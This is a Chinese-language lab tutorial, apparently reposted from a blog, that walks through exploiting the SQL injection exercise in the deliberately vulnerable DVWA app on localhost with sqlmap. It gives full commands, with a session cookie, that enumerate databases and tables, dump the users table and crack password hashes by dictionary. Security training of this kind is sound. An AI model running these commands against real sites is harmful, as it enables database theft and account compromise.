DVWA——Sqlmap练习
在DVWA頁(yè)面中選擇 SQL Injection
一、首先肯定是要判斷是否有注入漏洞,在輸入框輸入1,返回
返回正常;
再次輸入1',報(bào)錯(cuò),返回
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near " 1' " at line 1
此時(shí)可以斷定有SQL注入漏洞且為單引號(hào)閉合的字符型注入,下面利用SQLMap進(jìn)行注入攻擊。
二、利用Sqlmap工具:
1、先進(jìn)行基本的測(cè)試
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/index.php?id=1&Submit=Submit"-u 參數(shù)表示url,指定連接目標(biāo)
得到提示:
Sqlmap 得到302重定向到 " http://localhost:80/DVWA/login.php "。你想跟上嗎?[y/n]
根據(jù)該提示,可以判斷(302重定向)跳轉(zhuǎn)至登錄頁(yè)面,看來(lái)需要帶cookie,否則可能無(wú)法正常執(zhí)行。
解釋:web應(yīng)用需要登錄的時(shí)候需要加 cookie參數(shù)
不加則如下:
F12打開控制臺(tái),在網(wǎng)絡(luò)里得到Cookie信息。
加上帶cookie參數(shù)再次測(cè)試:
得到:
the back-end DBMS is MySQL //后臺(tái)數(shù)據(jù)庫(kù)管理系統(tǒng):MySQL web server operating system: Windows //Web服務(wù)武器操作系統(tǒng):Windows web application technology: PHP 5.4.45, Apache 2.4.23 //Web應(yīng)用技術(shù): PHP 5.4.45, Apache 2.4.23 back-end DBMS: MySQL >= 5.0 //后臺(tái)數(shù)據(jù)庫(kù):MySQL
發(fā)現(xiàn)sqlmap可以跑出數(shù)據(jù)來(lái)了,構(gòu)造其他語(yǔ)句,繼續(xù)查取數(shù)據(jù)。
2、列出數(shù)據(jù)庫(kù)信息:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;s ecurity=low" --dbs--dbs 表示列出目標(biāo)有哪些數(shù)據(jù)庫(kù)
得到8個(gè)mysql下數(shù)據(jù)庫(kù)名:
3、獲取當(dāng)前的數(shù)據(jù)庫(kù):
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --current-db--current-db得到當(dāng)前使用的數(shù)據(jù)庫(kù)
得到:current database: 'dvwa'
即:當(dāng)前數(shù)據(jù)庫(kù)名為:dvwa
4、獲取當(dāng)前數(shù)據(jù)庫(kù)下的表:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --table -D "dvwa"--table -D "xxx" :得到xxx數(shù)據(jù)庫(kù)下面的表
5、獲取數(shù)據(jù)庫(kù)dvwa下user表的字段:
--columns -T "" -D "" 得到數(shù)據(jù)庫(kù)下面的表下面的列(columns)
得到:
6、獲取user表里的字段值:
python sqlmap.py -u "http://localhost/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "PHPSESSID=lqumo7do6sle0vl4gi7b9qqd57;security=low" --dump -T users -D dvwa過(guò)程中會(huì)出現(xiàn)的部分提示信息:
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 您是否要將散列存儲(chǔ)到臨時(shí)文件中,以便最終使用其他工具進(jìn)行進(jìn)一步處理do you want to crack them via a dictionary-based attack? [Y/n/q] 您是否想通過(guò)基于字典的攻擊來(lái)破解它們?what dictionary do you want to use? 用什么字典來(lái)破解?[1] default dictionary file 'C:\WangAn\Sqlmap\txt\wordlist.zip' (press Enter) [2] custom dictionary file [3] file with list of dictionary files 回車會(huì)直接使用第一個(gè)do you want to use common password suffixes? (slow!) [y/N] 您是否要使用通用密碼后綴? (慢!)最終得到:
至此,DVWA 的Low級(jí)別的SQL注入漏洞使用SqlMap工具注入完成。
總結(jié)
以上是生活随笔為你收集整理的DVWA——Sqlmap练习的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: Linux中grep命令 常用选项
- 下一篇: 攻防世界 web(二)